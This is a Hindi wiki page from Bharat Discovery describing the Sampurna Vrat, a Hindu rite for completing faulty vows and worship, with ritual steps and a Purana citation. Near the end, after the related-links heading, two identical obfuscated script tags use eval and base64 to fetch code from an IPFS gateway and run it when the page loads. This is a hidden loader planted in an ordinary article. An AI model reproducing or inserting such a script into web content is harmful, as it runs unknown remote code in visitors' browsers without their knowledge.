सम्पूर्ण व्रत

भारत डिस्कवरी प्रस्तुति
Revision as of 10:16, 10 September 2010 by शिल्पी गोयल (talk | contribs) ('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • किसी त्रुटि या अवरोध या विघ्नविनायकों द्वारा दूषित किये गये सभी व्रतों को सम्पूर्णव्रत पूर्ण कर देता है।
  • किसी देव की अपूर्ण पूजा में उस देव की स्वर्ण या रजत प्रतिमा का निर्माण करना चाहिए।
  • उसके निर्माण के एक मास के उपरान्त किसी ब्राह्मण के द्वारा उसे दूध, दही, घी एवं जल से स्नान कराकर पुष्पों आदि से पूजा करनी चाहिए तथा चन्दन लेप से सिक्त जलपूर्ण कलश से उस देव को अर्ध्य देना चाहिए और अपूर्ण पूजा को पूर्ण करने के निमित्त प्रार्थना करनी चाहिए और 'स्वाहा' के साथ आहुतियाँ दी जानी चाहिए।
  • आचार्य द्वारा 'तुम्हारी अपूर्ण पूजा पूर्ण हो गयी है' कहा जाना चाहिए।
  • पुराण ने जोड़ा है–'देव ब्राह्मणों की बात मान लेते हैं; ब्राह्मणों में सभी देव अवस्थित रहते हैं; उनके वचन असत्य नहीं होते'।[1]
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रत खण्ड 2, 873-879, भविष्योत्तरपुराण से उद्धरण)

संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः